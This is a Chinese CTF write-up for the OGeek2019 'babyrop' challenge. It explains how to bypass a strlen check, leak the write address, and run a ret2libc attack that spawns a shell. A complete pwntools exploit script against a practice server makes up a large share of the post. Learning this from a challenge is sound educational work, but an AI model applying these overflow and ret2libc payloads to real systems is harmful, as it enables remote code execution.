[OGeek2019]babyrop

文章详细介绍了如何处理一个32位程序的缓冲区溢出问题,通过分析程序特性,构造特定的payload来绕过strlen检查,泄露write函数地址,并进一步获取system和/bin/sh的地址,最终实现远程控制。过程中涉及到了libc库,IDA调试工具以及Python编写exploit脚本的技术。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

小白垃圾笔记不建议阅读。。。。

这道题额………………做了好几天。。

更离谱的是还把ubuntu16给玩坏了。

师傅说kali可以打通,气得我连夜下卡里

后来发现不是版本的问题,是我的脚本的问题。libc写的不对。

先分析这道题。

32位程序。没有canary,没有pie,只有一个NX

ida  里 main函数

 那么a1来自哪里?a1实际上是传入的参数v2

v2 = sub_804871F(buf); 

v2是sub_804871f返回的数据buf[7]

所以要想溢出首先要绕过buf[7]这一关,将buf[7]这里设置成\xff

这样就可以复制\xff个字节了。

那么如何是设置?

这一行:标准输入到buf那么我们如果要设置buf[7]=\xff

的话需要填充这样

b'b'*7+b'\xff'

数组是从0开始的。所以buf[7]实际对应的是第八个数据

 但是有一个事情需要注意

第14行,如果比较n个字符相同返回0

, 

 

所以我们还需要绕过strlen,让他比较0个字符,这样是相等的,就会返回0,if里的退出语句就不会被执行。

那么更改第一次payload

b'\x00'+ b'b'*+b'\xff'

 这样才可以利用溢出点。

那么我们第一次溢出泄露出write的真实地址。从而用于计算system和binsh的地址,然后再次构造payload,执行system函数。

脚本如下:

from pwn import *
from LibcSearcher3 import  *

#print(hex(puts_addr))  # 输出puts函数的地址
debug=0
if debug:
    p=process('./pwn')
    libc=ELF('/lib/i386-linux-gnu/libc.so.6') #这里的libc是ldd查看的第二行=>后的地址
    
    elf=ELF('./pwn')
    #p=process('',env={'LD_PRELOAD':'./libc.so'})
    context.log_level='debug'
    #context.libc=ELF('./libc-2.23.so')
else:
    p=remote('node4.buuoj.cn',27035)
    elf=ELF('./pwn')
    context.log_level='debug'
    libc=ELF('./libc-2.23.so')
def ru(x):
    return p.recvuntil(x)

def se(x):
    p.sendline(x)

write_plt=elf.plt['write']

write_got=elf.got['write']
main=0x08048825
payload1=b'\x00'+b'b'*6+b'\xff'      #+b'b'*223+b'b'*4+p32(write_plt)+p32(main) +p32(1)+p32(write_got)+p32(4)
se(payload1)
t=p.recv(8)
payload2=b'b'*0xe7+b'b'*4+p32(write_plt)+p32(main) +p32(1)+p32(write_got)+p32(4)
se(payload2)
write_add=u32(p.recv(4))
print(hex(write_add))
libc_base=write_add-libc.symbols['write']
system_add=libc_base+libc.symbols['system']
bin_sh_add=libc_base+next(libc.search(b'/bin/sh'))
print('libc_base:%x'%libc_base)
print('system:%x'%system_add)
print('bin_sh_add:%x'%bin_sh_add)
payload3=b'b'*0xe7+b'b'*4+p32(system_add)+b'aaaa'+p32(bin_sh_add)
se(payload1)
p.recv(8)
se(payload3)
p.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

y6y6y666

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值